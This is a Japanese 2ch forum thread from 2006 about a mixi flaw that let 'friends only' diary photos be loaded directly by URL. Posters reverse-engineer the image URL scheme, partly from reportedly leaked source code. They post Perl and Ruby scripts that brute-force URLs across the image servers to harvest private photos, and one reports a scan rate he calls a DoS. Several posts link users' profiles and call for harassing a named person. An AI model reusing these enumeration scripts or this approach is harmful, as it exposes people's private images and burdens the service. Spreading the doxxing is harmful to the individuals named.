プロフィール閲覧　 0pt
写真閲覧　　　　　　0pt
メアド交換　　　　　 0pt
電番交換　　　　　　0pt

-- 男性会員 --
メッセージ閲覧　　　50pt
メッセージ送信　　　50pt
プロフィール閲覧　 50pt
写真閲覧　　　　　　50pt
メアド交換　　　　　 100pt
電番交換　　　　　　100pt

-- ポイント追加 --
540pt　→ 5000円
860pt　→ 8000円
1100pt → 10000円
--------------
入会特典 1000ptプレゼント

>>482
誰が訴えるの？
画像載っけたユーザーがわざわざ訴訟起こすの？

>>483
数年後リアルでそうなってそうなのがこわい

>>482
<img>タグを吐くだけなら、画像のコピーを出力してるわけではないので、著作権(copyright＝コピーする権利)の
侵害にはならないような。
<img>タグもリンクといえばリンクだし。
直リンになるから倫理的な問題はあるにせよ、著作権法には触れないかと。
Googleのキャッシュが著作権法違反かどうか問題になったことがあったけど、<img>タグで直リンはキャッシュに
すらならないし。

>>484
いや，法律についてはよくわからんが
mixiにうｐした画像は誰に著作権があるんだろう？
うｐした人かな？
でも，グーグルのイメージ検索も勝手に画像のせてるしな
問題無いのかな

mixi潜入組って・・・mixiすら招待されてないやつってどんなだよ、常識的に考えて・・・

>>487
Googleは訴えられたら消している。

そんなんで訴えられたらブラウザ作ってる奴も訴えられてるだろ

mixiってApacheじゃなくてIISとかいうオチはないよな？

スクリプター達へ

画像ファイルの命名規則については、
以前流出したmixiのソースコードが参考になると思う
add_diary.plの後半部分に、それっぽい処理があった

…俺は今携帯なので何もできないが

>>490
ほい。
http://img.mixi.jp/ハァ？

100％外部から保護することはできない〜云々はヘルプページのどこに書いてあんの？
もう消えた？

画像の規則性が全然分からない
駄目だこりゃあ。

>>491
http://www.vipper.org/vip360565.zip.html

>>493

>>1 のソース(スラド)を見よう。
> この項目はログイン中でないと見えないようになっているので注意

mixiのサーバはapacheのようだが、httpヘッダーではバージョン情報は返してくれないな。

>>496
なるほどなるほどみれたみれた

>>486
インラインリンクは、経済産業省の準則に違法の可能性ありと書かれているよ。

今はもうApacheよりIISのシェアの方が大きい

だれでも見れる⇒流出⇒第二次けつ毛バーガー事件

>>38
単語じゃなくて、文章を読もうぜ！
お兄さんとの約束だ！

友人まで公開の日記よりもクローズドなコミュニティの方がヤバい画像がありそうな気がする

>>495
ラストのナンバー、ただのランダムじゃん
plよく分からないけど

ロリ系のすごい画像とか出てきそうだな

>>499
これかな？

電子商取引等に関する準則 （改訂案） 経済産業省
http://www.meti.go.jp/feedback/downloadfiles/i51208bj.pdf
> インターネット上において、会員等に限定することなく、無償で公開した情報を第三者が利用する
> ことは、著作権等の権利の侵害にならない限り、本来自由である。しかし、リンク先の情報を
> �@)不正に自らの利益を図る目的により利用した場合、又は�A)リンク先に損害を加える目的により
> 利用した場合など特段の事情のある場合に、不法行為責任が問われる可能性がある。

勉強になった。ありがとう。
でも、少なくとも著作権法違反には問われないわけだね。(著作権法＝文化庁なので管轄が違う？)

my $insert_sql = "INSERT INTO diary_photo (diary_id, seq, number, size)";

ここかな

Boofy：：Imageのmake_image_url 関数の中身がわからないといけないのかな

↓のサイトによるとBoofyも漏れてるらしいな
http://blog.yappo.jp/yappo/archives/000410.html

>>506

�@)不正に自らの利益を図る目的により利用した場合

↑にはどんな意味が含まれるんだろう
利益を図る目的＝お金
って解釈でいいのかな
俺らが画像見て(;´Д`)ﾊｧﾊｧするのはいいのかな？


�A)リンク先に損害を加える目的により利用した場合など特段の事情のある場合

↑別にmixiに損害を与えようなんて思ってないな
ただ(;´Д`)ﾊｧﾊｧしたいだけだな


でも，だんだん怖くなってきたな
相手は上場企業だしな〜

そういう意味でもはまちはよくやってるよ

>>510
あのmixiへの恨みはどこから出てくるんだろうｗｗ

>>509
ここで言われてるインラインリンクには、今回のケースは当てはまらないかねえ。
> 一方、インラインリンクの方式でリンクを張る行為については、リンク先の商品等表示を、リンク
> 元の営業とリンク先の営業とを誤認混同させるように使用した場合や、著名な商品等表示を自己の
> 商品等表示として使用した場合には、不正競争行為に該当する可能性がある。

>>511
俺はこんなことまでできるんだぜ的な自己顕示も含まれてるんだろうな

はまちちゃんが最近おとなしくて寂しい

>>495
ごめん、素で受信パスが分からん。

>>515
news

>>516
ありがとう。見れた。
直感だけど、やばそうなコードだね。
あとはBoofyなるモジュールがあれば分かりそう。mixi外では流れてないのかな。

>>508

日付に注目

>>518
俺のダチの誕生日だ

>>518
嘘かよ・・・
２ｃｈではかなり武装しているつもりだが
他のサイトだと気がゆるんでしまう

今はページ無くなってるけど、Boofyは置いてあったよ

>>521
まだどこかにないかねえ。
見るからにやばそうなソースなんだけど。
複数行にわたる文字列をヒアドキュメントで書かないとか、
$tpl->param("month", "$today[1]");
とか、Perlに慣れてないっぽい書き方。いろいろ穴がありそう。
自分なら
$tpl->param(month => $today[1]);
かね。細かいところだけど。

http://ic46.mixi.jp/photo/diary/13/12/224241312_245.jpg

適当に数字を当てはめてて手当たり次第にアクセスすれば
「友人まで公開」の画像が見つかるだろ
mixiがファイルを公開する設定にしているのだから不正アクセスじゃないし

連番作成ツールで
http://ic46.mixi.jp/photo/diary/??/??/???????????_???.jpg
http://ic46.mixi.jp/photo/diary/??/??/???????????_???.jpg
http://ic46.mixi.jp/photo/diary/??/??/???????????_???.jpg
http://ic46.mixi.jp/photo/diary/??/??/???????????_???.jpg
って文字列のファイルを作って、WGETに読ませるだけでできる

とりあえず
ttp://ic**.mixi.jp/
**の範囲は1〜52

>>488
画像表示で文句言う著作権者（mixiユーザ）がいたら、
該当画像だけを「表示させず」「アドレス表記」にすればいいんじゃないかなー
見たい人は自分でコピペして見れ　ってことでｗ

グーグルで見つけた画像だと法則性あり。
一つ見つけると芋蔓式に見つかる可能性がある。

http://ic32.mixi.jp/photo/diary/21/68/173602168_111.jpg
http://ic33.mixi.jp/photo/diary/21/68/173602168_2.jpg
http://ic33.mixi.jp/photo/diary/21/68/173602168_14.jpg

http://ic33.mixi.jp/photo/diary/61/90/173606190_100.jpg
http://ic30.mixi.jp/photo/diary/61/90/173606190_174.jpg
http://ic30.mixi.jp/photo/diary/61/90/173606190_246.jpg

世界中のプログラマが結託すれば
世界制服ができる

>>527
やっぱり中国製なんだろうなぁ。

>>522
これもまあジョークだけどｗ
http://www.vipper.org/vip360624.zip.html

ちょwww
なんで出来ないんだよ。
俺がやれば一日でできる。

これmixiが流行るちょっと前あたりにも別のSNSでも似たようなバグあって大騒ぎしてたのに
なんでmixiだけ誰も何も言わないのか凄い不思議だった

>>444
与えられたニューススレを与えられたまま使うなら＋がいいんじゃね？

>532　そうだそうだ

>>244
>インターネットの現状
>インターネットの現状
>インターネットの現状
>インターネットの現状

インターネットの仕業じゃあしょうがないなｗｗｗ
さすが↓
ミクシィ社長「社会全般を見渡せる学部が望ましい」と理系を蹴る【理系脂肪】
http://news20.2ch.net/test/read.cgi/news/1161066735/

>A. mixi は会員のみが見ることの出来る招待制サイトですが、
>mixi にアップした画像は、そのURLからmixi の外でも画像を
>見ることが出来てしまいます。ブロック機能実装に向け改善と
>検証を重ねている状況ですが、他人と共有する可能性のあ
>る画像を、100％外部から保護することはできないというのが
>インターネットの現状とも言えます。

× インターネットの現状
○ mixiの「友人まで公開」機能の現状

サーバーサイドプログラムにはあんま詳しくないんだがスレを斜め読みしたところ
>>313,322のような事をやれば簡単に解決可能だと思った訳なんだがコレじゃダメなのかね？

show_picture.plはたぶん、
引数のURL(http://*.mixi.jp/)に、外枠付けてタグ貼ってるだけ。

画像自体は結局、http://*.mixi.jp/からの直転送。

>>537
多分というか

<body>
<img SRC="http://ic**.mixi.jp/photo/diary/**/**/*********_***.jpg" BORDER=0>
</body>

とか出てくるからそういうこと

>>537-538
なるほど把握、Thx！

んで試しに>>97みたいに
show_picture.plにGoogleのロゴ突っ込んでみたらmixiのロゴが出てきた。
ソース見たら<img SRC="/img/title1.gif" BORDER=0>
流石にその辺の踏み台対策はしてある模様。

>>538
なるほど、やっぱりか。そうすると画像サーバーに認証ぶっこむと
サーバーがパンクしちゃうとかそういう話で不可能なんだろうな

>>541
認証ルーチンの処理時間は知れてるから無問題。
問題はクッキーらしいよ。>>1 嫁

521 名前：名無しさん＠６周年[sage] 投稿日：2006/10/19(木) 19:39:40 ID:sRD0idWt0
http://bb.watch.impress.co.jp/cda/event/15853.html
わけわかんないことぬかしてるな
とっととβから正式サービスにしろやｺﾞﾙｧ

>>543
ｐｖに２ｃｈもちゃんと入れてるところがかわいい

Yahooモバイルは暴打の初期ページ乗っ取るって反則級の荒技に出たから
追い越すのはかなり困難だなｗ

いつになったらβ版から卒業できるんだ？

一年半も放置か・・・

>>322

ヒント

GETリクエストはブラウザから飛ぶ。

　まあ、リファラチェックすればいいっていうのは同意

ルールが面倒くさいですが、よろしかったらご参加ください。
【mixi】招待ネズミ講方式【小隊汁】2
http://ex16.2ch.net/test/read.cgi/news4vip/1161094248/

ジャパ専のキモ男
マイミク見事に女ばっかw

http://mixi.jp/show_friend.pl?id=5932941



ジャパ専のキモ男
マイミク見事に女ばっかw

http://mixi.jp/show_friend.pl?id=5932941



ジャパ専のキモ男
マイミク見事に女ばっかw

http://mixi.jp/show_friend.pl?id=5932941

差別される原因がある奴は差別だ
http://mixi.jp/view_community.pl?id=1453776

最近、『殺す』『死ね』等のメッセージをよく貰います。
それでも懲りずにこんなコミュニティを作りました。
宜しければご参加ください。

>>546
αになったら有料化する予感
今は無料っていう前提だし

mixiの画像URLを総当りして収集するツールまだぁ？

（つづく）

mixyに相応しい顔文字だな

参考

連番のＨ画像/動画を一気にダウンロードする2
http://pc8.2ch.net/test/read.cgi/unix/1135533382/

ダウンロードはやめとけ。
リンクリストでいいだろ。

GOODBYE♪＝ゆたまる(通称)

http://m.mixi.jp/show_friend.pl?ses=&id=4321557

はmixiにてナンパ、ストーカー、大量中出しで大多数の女性に迷惑をかけ、アンダーカバー青山の店員さんにもリアルストーカーをする極悪人です。

またファ板ナンバーナインスレを始め、ディオールオムスレ、アンダーカバースレ等でも大阪在住の研修医の個人情報漏洩などで住人に迷惑をかけ、住人達に忠告されるも本人は全否定しているので是非皆さんに制裁してもらいたいのですが…

宜しくお願いしますm(_ _)m


【前回までの】Number(N)ine Part242【24】
http://life7.2ch.net/test/read.cgi/fashion/1160315981/

10 for i=0 to100
20 print"批難ボーボー"
30 next i

SQLのサニタイジングとかしてなかったら笑うんだがな

>>559

>>495 のソースがmixiのものだとすると、
UPDATE diary_quota SET diary_usage=diary_usage+? WHERE member_id=?
みたいにバインドを使ってるから大丈夫じゃない？
全部バインドを使ってるとすればね。

これじゃ時間かかりすぎるよね。

use LWP::Simple;

my $url;
for (my $sv = 1; $sv <= 52; $sv++) {
　　for (my $xx = 10; $xx <= 99; $xx++) {
　　　　for (my $yy = 10; $yy <= 99; $yy++) {
　　　　　　for (my $aaaaa = 10000; $aaaaa <= 99999; $aaaaa++) {
　　　　　　　　for (my $r = 1; $r <= 999; $r++) {
　　　　　　　　　　$url = "http://ic$sv.mixi.jp/photo/diary/$xx/$yy/$aaaaa$xx${yy}_$r.jpg";
　　　　　　　　　　print "<img src=\"$url\"><br>\n" if head($url);
　　　　　　　　}
　　　　　　}
　　　　}
　　}
}

>>495
再うｐよろ

画像拡張子のときにPerl-CGIが動くようにして、
自スクリプト名の画像を、直りんできないフォルダから開いて、
headerとバイナリを返せば画像は見れなくなる。
最初に開くPerl-CGIにログインチェックや権限チェックを入れれ。
但し、負荷に関してはノークレームノーリターンで。

>>116
mod_rewrite つかえば、何でもできるよ！
たぶん、mixiにはその能力がないだろうけど。

>>313 の通り、picture.plを介してのみ表示でいいなら、画像サーバ側で
Allow from mixi.jp
Deny from all
とかにすればいいだけでは？

これがインターネットの現状か

>>565
それだと mixiの社員だけ閲覧可となる。

mixiにヒント与えてどうするのよ。
このスレはmixi画像一覧表示スクリプトについて考えるスレだよw

仮に CGI 経由で画像ファイルを吐き出しても、そんなに重くなるとは思えんよな。
友達関係とログオン状況をチェックした後は、
読んで STDOUT に吐き出すだけだろ？
IO の部分は HTTPD がやっていることと変わらん。
そこが重くなるなら、その部分だけでも、Cで書けばいい。

Cがかけないっていうなら、救いようが無いが。

IO関係なのにCとPerlの問題で意味がわからん。

>>571
システムコール以外の部分で差が出るだろ。

mod_perlとCってそんな問題が改善されるレベルに処理の差なんてあるのか

数倍速度変わるはず

mixiサーバ何台あるのかな？
数千台？

>>567
picture.plで
use LWP::Simple;
# 〜認証処理〜
print "Content-type: image/jpeg\n\n";
print get($ENV{QUERY_STRING});
みたいな処理をしてるのならAllow,Denyが有効だと思ったのだけど、違うのかな。

古い画像は仕方ないにしても，これから保存される分は対策のしようがいくらでもあると思うんだがな

後のアングラ系SNS「ひろくしぃ」である

>>573
この目的のコードだと大違いだな。数十倍どころか数千倍くらいかも。

しかしﾐｸｼの中の人はCで組めないのであった

CGIのperlじゃなくてmod_perlでもそんな差がつくもんなの？

Apache/Perl Integration Projectというグループが開発したソフトウェアで、
これを組み込んだApacheは、通常のCGIなどと比較して数十倍高速にPerlスクリプトを実行することができる。

これは、素のCGIではプログラムが呼び出されるたびに機械語への変換が行われ、
その分余計な実行時間がかかるのに対し、

mod_perlでは変換(コンパイル)が行なわれるのは最初の一回だけで、
変換後のプログラムがメモリ上に常駐(キャッシュ)されるためである。

初めからCで全部書けよ。
まぁそんな度胸ないだろうけどなｗ

糞重たい処理をCにまかせてるのはあるだろうけど
Webアプリ系で全部Cそんなにあったけ。

Perl のバイトコンパイルの負荷を省略できたとしても、
メモリの管理では C が速度の面で有利だよ。

たぶんﾐｸｼがやっているように、perlで普通に書いてしまっていると、
動的にメモリを確保して、それをバッファとして使う。
速度優先なら、Cで固定長をバッファに使うべきだな。
実験してないので正確にはわからないが、
ただ読んで吐くだけでも、速度は相当違うはず。

こんな糞コミュに投資する金があったら、俺の会社に投資した方が儲かるのにな・・・
まぁ金はいらんが

>>583
あんまりないと思う。

やっぱりこういうレベルで影響しちゃうもんなのか〜

インターフェースだけPerlで書いて
実際の処理はSOAPで他に投げればいいのに>mixi

ていうか、本当に画像をCGI経由にしたら、
そこがボトルネックになるのかね？
直リンのバグが回避できないのは
もっと別の理由なんじゃ

サブドメイン「img1」を使わなきゃいいじゃん

www.mixi.jp にすれば解決
という説は有力っぽい。

でも、嫌なんだろうね。

この指とまれも閲覧範囲指定できるよな
Yahooブリーフケースとかも

「インターネットの限界」って・・・

>>591
そんなの mixi.jp でアクセスしたのを www.mixi.jp に飛ばせばいいだろ。
Location: www.mixi.jp で。

あと、個人IDがURLにダダ漏れなのも気に入らん。
スクリプトで、スパム撃ちまくりだろ。

>>593
リダイレクト後の見た目が嫌なんじゃない？

機能より見た目を優先している時点で(ry

多分、方法があることにはあるだろうし
そういうのも試作品としてつくっては入るんだろうけど
これだけユーザがいたら切り替えるのが怖いんじゃないか

ヤフーやグーグルなんかがものすごいお金かけて、しかもちょっとづつ
変えたり戻したりしてバージョンアップしていくというのを
上場して、会社としては数十億しか預金お金がない企業ができる状態には
ならないんだろう

ま、社長とかが自腹切ってお金ドンドンつぎ込んだら不可能ではないんだろうけど

まだまだ未熟ない会社だから自作ばっかりで、ITへのお金の使い方が
わかってないんだろうな

ttp://x68000.q-e-d.net/~68user/net/http-parallel-1.html
上を参考にして試しにperlでスクリプトを組んでみたけど、
1秒平均 5個しか調べられないorz
もっと速度アップできないかな。

>>561
もう少し範囲を絞れる。$rは 1〜256っぽい。
でも、$xxと$yyは 1〜99と少し広がる。
あと、$aaaaaの範囲はよく分からない。

総当たり画像収集作ってみるか
Rubyでスレッド回しまくればいいよね？

画像のURLを一つ入れると「周辺」の画像を探すとか。
少なすぎ？

use LWP::Simple;

my $url = 'http://img1.mixi.jp/photo/bbs_comm/79/67/47197967_233.jpg';
for (1..256) {
　　$url =~ s/^(.*_)\d{1,3}(\.jpg)$/$1$_$2/;
　　print "<img src=\"$url\"><br>\n" if head($url);
}

mixi画像収集スクリプトまとめサイトつくって

各個人で実行して探し出した画像へのリンクをまとめサイトに送るようにすれば
今のスクリプトでも多くの人が実行することで、画像リンク集できそう

スレッドでURIを総当たりで走査
URIに対してレスポンスヘッダのContent-typeがimage/jpegが帰ってきたら正する

これでURIのリストを作ってIriaにぶち込めば…

つかIriaに
http://ic[1-52].mixi.jp/photo/diary/[0-99]/[0-99]/[0-999999999]_[0-999].jpg
掘り込んで放置
とか遅すぎて駄目かw

Cookie弄ったら
ログインとか登録しなくても、簡単に中身見れるじゃん

http://ic46.mixi.jp/photo/diary/13/12/224241312_245.jpg

命名規則を発見！
/diaryの次の/13と/14/は/224241312の下の4桁をそのまま使ってるだけじゃんｗ

http://ic30.mixi.jp/photo/diary/61/90/173606190_174.jpg
http://img1.mixi.jp/photo/bbs_comm/92/5/57349205_55.jpg
http://img.mixi.jp/photo/member/2/47/840247_2241497944.jpg

これでかなり絞れるぞ

訂正ｗ

× /diaryの次の/13と/14/は/224241312の下の4桁をそのまま使ってるだけじゃんｗ
○ /diaryの次の/13と/12/は/224241312の下の4桁をそのまま使ってるだけじゃんｗ

>>603
>>205で既に指摘してる

>>597
画像の有無だけを調べるのなら、22 行目の GET を HEAD に
変えれば多少レスポンスが早いかもしれないね。

>>603
自分も今知った。
ディレクトリの数字が1桁のときは、0で埋めるんだね。

>>606
とりあえずHEADでやってます。
でも、大部分は404を返されるからあまり変わらない。

こういう風にダブってる画像が多い。
確証はないけど奇数サーバと偶数サーバで同じ画像を保存してるのかも。

http://ic7.mixi.jp/photo/diary/75/54/66017554_1.jpg
http://ic8.mixi.jp/photo/diary/75/54/66017554_1.jpg

http://ic7.mixi.jp/photo/diary/75/54/66017554_54.jpg
http://ic8.mixi.jp/photo/diary/75/54/66017554_54.jpg

http://ic5.mixi.jp/photo/diary/59/89/19675989_18.jpg
http://ic6.mixi.jp/photo/diary/59/89/19675989_18.jpg

http://ic27.mixi.jp/photo/diary/2/45/140690245_173.jpg
http://ic28.mixi.jp/photo/diary/2/45/140690245_173.jpg

>>608
よく見つけたなｗ

>>607
あぁ、そうだ変わらないよね…失敬。

>>608
どの画像サーバにどの辺の日記 ID の画像があるかは
推測できそうっぽいね。おそらく画像サーバは利用量に
合わせて増設されて、かつ万遍なく画像が保存されなきゃ
いけないから、なんか法則性がありそうな気はする。

Not Found

The requested URL /photo/diary/75/54/66017554_2.jpg was not found on this server.
Apache/2.0.55 (Unix) Server at ic8.mixi.jp Port 80


↑存在しないファイルにアクセスしようとするとこのメッセージ出るけど
Apacheのバージョンは隠すべきじゃね
httpd.conf の ServerTokens は productonly にするべきだと思うんだが

>>611
隠すのは素人。やましいことがある（パッチあててねえの？）とばれるよ。

Rubyでスレッド立てまくったら落ちる…ホワイ？
あきらめぽ

# Written in Ruby
require "net/http"
Net::HTTP.version_1_2
(1..53).each{ |n1|
Net::HTTP.start("ic"+n1.to_s+".mixi.jp", 80) { |http|
(1..99).each{ |n2|
(1..99).each{ |n3|
(1..99999).each{ |n4| print "|"
(0..256).each{ |n5|
path = "/photo/diary/"+n2.to_s+"/"+n3.to_s+"/"+n4.to_s+n2.to_s+n3.to_s+"_"+n5.to_s+".jpg"
print server,path,"\n" if http.head(path)['Content-Type']=="image/jpeg"
}}}}}}

しっかしWebアプリってしっかりテストしないこと多いよなー
普通１ヶ月、短くても２週間くらいテスト期間とらないか？
それで不具合だけじゃなく操作性の悪さを直したり、直せなくてもこういう画像への直リンなんかは既知の問題として記録しとくもんだと思ったんだが・・・

前はWindowsアプリ作ってたんだけど、えらい違いに驚いたよ
俺の会社だけかなぁ？

おまいら日本語で話せよ

>>614
Webアプリは納品後でも直せる、って意識があるからだろうね

>>614
納品後直すというのと、助走期間がテストという考えなんだよね、WEBって。
世に出てるベータ版は全て無料で利用させる代わりに、
利用ユーザーにテストしてもらってるということ。

つか、金を出さないクライアントからの仕事なら最も手を抜くのはテストフェーズだからなぁ

>>614
mixiはもう2年半もﾃｽﾄしてるわけで・・・

>>616-619
ありがと
やっぱり業界的にそうなんだ

ってゆーか、なんだよ俺の名前・・・orz
もう変わってること望む(´・ω・｀)

ぴろゆきヽ（｀Д´）ノ出てこい!!



30分から仕事なのにこの時間制限は辛いな・・・

Mixiって確かPerlだったよな…
メインプログラマが抜けて中がぐっちゃぐちゃなんだろうな、たぶん。

どっかでひろったコピペ

ホワイトバンド、mixiでもはやりましたねぇ＾＾
http://mixi.jp/view_bbs.pl?id=1588856&comm_id=217471&page=all

ttp://img1.mixi.jp/photo/bbs_comm/59/45/19305945_50.jpg
ttp://img1.mixi.jp/photo/bbs_comm/78/86/15647886_211.jpg
ttp://img1.mixi.jp/photo/bbs_comm/14/86/17321486_6.jpg
ttp://img1.mixi.jp/photo/bbs_comm/69/60/18406960_70.jpg
ttp://img1.mixi.jp/photo/bbs_comm/68/7/17656807_87.jpg
ttp://img1.mixi.jp/photo/bbs_comm/71/6/17707106_129.jpg
ttp://img1.mixi.jp/photo/bbs_comm/59/1/19265901_172.jpg
ttp://img1.mixi.jp/photo/bbs_comm/55/72/15705572_77.jpg
ttp://img1.mixi.jp/photo/bbs_comm/86/38/17438638_228.jpg
ttp://img1.mixi.jp/photo/bbs_comm/1/60/19190160_190.jpg
ttp://img1.mixi.jp/photo/bbs_comm/12/31/15001231_179.jpg
ttp://img1.mixi.jp/photo/bbs_comm/70/38/15087038_11.jpg
ttp://img1.mixi.jp/photo/bbs_comm/39/66/18433966_150.jpg
ttp://img1.mixi.jp/photo/bbs_comm/34/58/16823458_201.jpg
ttp://img1.mixi.jp/photo/bbs_comm/96/70/19249670_5.jpg
ttp://img1.mixi.jp/photo/bbs_comm/13/87/19311387_132.jpg
ttp://img1.mixi.jp/photo/bbs_comm/50/26/19305026_82.jpg
ttp://img1.mixi.jp/photo/bbs_comm/20/37/16932037_34.jpg
ttp://img1.mixi.jp/photo/bbs_comm/20/37/16932037_182.jpg
ttp://img1.mixi.jp/photo/bbs_comm/79/9/17917909_100.jpg

総当たりするには、fork すると良いんじゃない？
ループを回してるだけだと、同時にアクセスできなでそ。

スパーハッカーが命名ルールを解析中
すげー規則正しい予感ｗ

>>623
ホワイトバンドとかいつの時代だよ

画像直リンとは話がずれるんだが、先日各ページにタイトルがついたことによって
はてなブックマークで、名前＋ID＋日記タイトルがバレちゃうのね
はてなブックマーク側で編集できるから、たいした問題じゃないのかもしれないけど
ttp://b.hatena.ne.jp/entrylist?sort=eid&url=http%3A%2F%2Fmixi.jp%2Fview_diary.pl

ルールが面倒くさいですが、よろしかったらご参加ください。
【mixi】招待ネズミ講方式【招待汁】3
http://ex16.2ch.net/test/read.cgi/news4vip/1161322676/

AltaVistaのイメージ検索は結構残ってるんだな・・・
ttp://www.altavista.com/image/results?itag=ody&mik=photo&mik=graphic&mip=all&mis=all&miwxh=all&q=mixi.jp
Family Filter: off → AltaVista found 676 results

>>620
いや、うちはかなりきっちりテストするんだけど、
よそがテストしねー見積もり出すから、クライアントによく切られるよ

しつこくてすまん、>>629は間違えた（site: を入れてない）
正しくはこっち（site:mixi.jpで473件）
ttp://www.altavista.com/image/results?itag=ody&q=site%3Amixi.jp&mik=photo&mik=graphic&mip=all&mis=all&miwxh=all

こんなんすぐ直せるやん

忘れてた
佐賀

fork使ったら秒間77個サーチできるようになった。
でもK6-2だからかなりの負担。
佐賀。

なんかサーバのレスポンスが悪いんだけど。
おまいらが並列でリクエスト送りまくってるから？

ルールが面倒くさいですが、よろしかったらご参加ください。
【mixi】招待ネズミ講方式【招待汁】3
http://ex16.2ch.net/test/read.cgi/news4vip/1161322676/

VIPうぜえ

100個/1秒URL走査できるようになった。
今平行数が10なんだけどこれ以上加速させるとなぜかRubyが落ちる…

>>612
nessusでスキャンすると
apacheのバージョンだすなよｗ
っていう警告がでるけど

nessusやプラグインの作者は素人ってこと？ｗｗｗ

start:22:26
http://ic30.mixi.jp/photo/diary/61/90/173606190_1.jpgから走査開始
http://ic30.mixi.jp/photo/diary/61/90/173606190_174.jpg
http://ic30.mixi.jp/photo/diary/61/90/173606190_246.jpg
http://ic30.mixi.jp/photo/diary/61/90/174656190_109.jpg
http://ic30.mixi.jp/photo/diary/61/90/179526190_162.jpg
http://ic30.mixi.jp/photo/diary/61/90/179546190_122.jpg
http://ic30.mixi.jp/photo/diary/61/90/181886190_181.jpg
http://ic30.mixi.jp/photo/diary/61/90/182266190_160.jpg
end:22:43

220830個/17分
217個/秒

mixi様もうしませんごめんなさい
どう見てもDoS攻撃でした
ごめんなさい

>>639
商売のやり方によるだろ。

例えば、客が、ネラーみたいな奴が多けりゃ、
何かトラブった時、ケチつけてくるのが目に見えてるしな。

セキュリティーの面で出さないってポリシーなんだったら出す必要もない。

>>623
きめえｗｗｗ

>>640
とりあえずソースをうｐして
他のものにまかせるんだ

>>641
商売のやりかたによらねーよｗ

>>640
お、すげぇ

東大卒社長（笑）最先端のIT（爆笑）

http://mixi.jp/show_friend.pl?id=7218003

　　　監視中

　　　|　 |　　　　　　
　　　|　 |∧_∧　　　　
　　　|＿|・∀・;）.　←佐賀県広報課　
　　　|　 | ｏ【◎】　　
　　　|￣|―ｕ'　　　　　
　　　""""""""　　

千葉滋賀佐賀

>>647
まさか、mixi社長が佐賀県出身だったり？

まだ対策してないの？

佐賀

どっかで呼んだけど
.plとか.phpとか出さないほうがいいんだってね

http://mixi.jp/show_friend.pl?id=7218003
脱力感が(･∀･)ｲｲ!

>>639
その通り。てかスキャナは多機能ならなんでもいいわけよ。
バージョン表示やめれってのは5年くらい前の発想。今時ありえね。

>>643
よる。
つうか、そのソフト、何の為のソフトだよ。

500万で直してやるぜ。
安いだろ？w

じゃあ、あたしは480万円で請け負います。

佐賀県でも巡査長でもないのに、なぜかそう出ちゃう。。

safariで書き込めなくなったって文句いったら
原因が解らなくて直せないから他のブラウザー使えって返事がきた
マカーはsafari使えって言っておきながら、このヴォケが

52サーバーに分散させてサーチすれば
DoS攻撃にならないのでは？

ふむ。日記の写真についてとりあえずまとめてみようか。

URIの例:
http://ic51.mixi.jp/photo/diary/96/15/248679615_47.jpg
http://ic51.mixi.jp/photo/diary/96/15/248679615_47s.jpg
http://ic52.mixi.jp/photo/diary/96/15/248679615_47.jpg
http://ic52.mixi.jp/photo/diary/96/15/248679615_47s.jpg
　　　　~~~~~　　　　　　　　　　　　~~　~~　~~~~~~~~~~　~~~
　　　　　A　　　　　　　　　　　　　　C D　　　　　B　　　 E
A:
ic1〜ic52のサーバが存在する.
数字部分が偶数と奇数のサーバに同じファイルが存在する（例: ic51とic52）
どの条件で, どのサーバに割り振られるのかは不明.

B:
データベースの日記テーブルの自働セットされる主キーだと思われる.
「新着日記」のページを見れば分かるが, 日記が追加される毎に連番IDが付加される.
ちなみに, 2006-10-21現在での最新は 248965140

C, D:
Bの下4桁を元にCとDというディレクトリが作成される.
例:
248965140の場合は /51/40
　　　 ~~~~~
248905101の場合は /5/1　のように, ディレクトリでは0を消す.
　　　 ~~~~~
E:
不明. 何らかのハッシュ値か？
元画像とは別に, サムネイル画像として, 's'が付加される.

修正, 追加ヨロ

Eの部分だけ違う画像って結構あるね
http://ic11.mixi.jp/photo/diary/22/23/8332223_8.jpg
http://ic11.mixi.jp/photo/diary/22/23/8332223_52.jpg
http://ic11.mixi.jp/photo/diary/22/23/8332223_81.jpg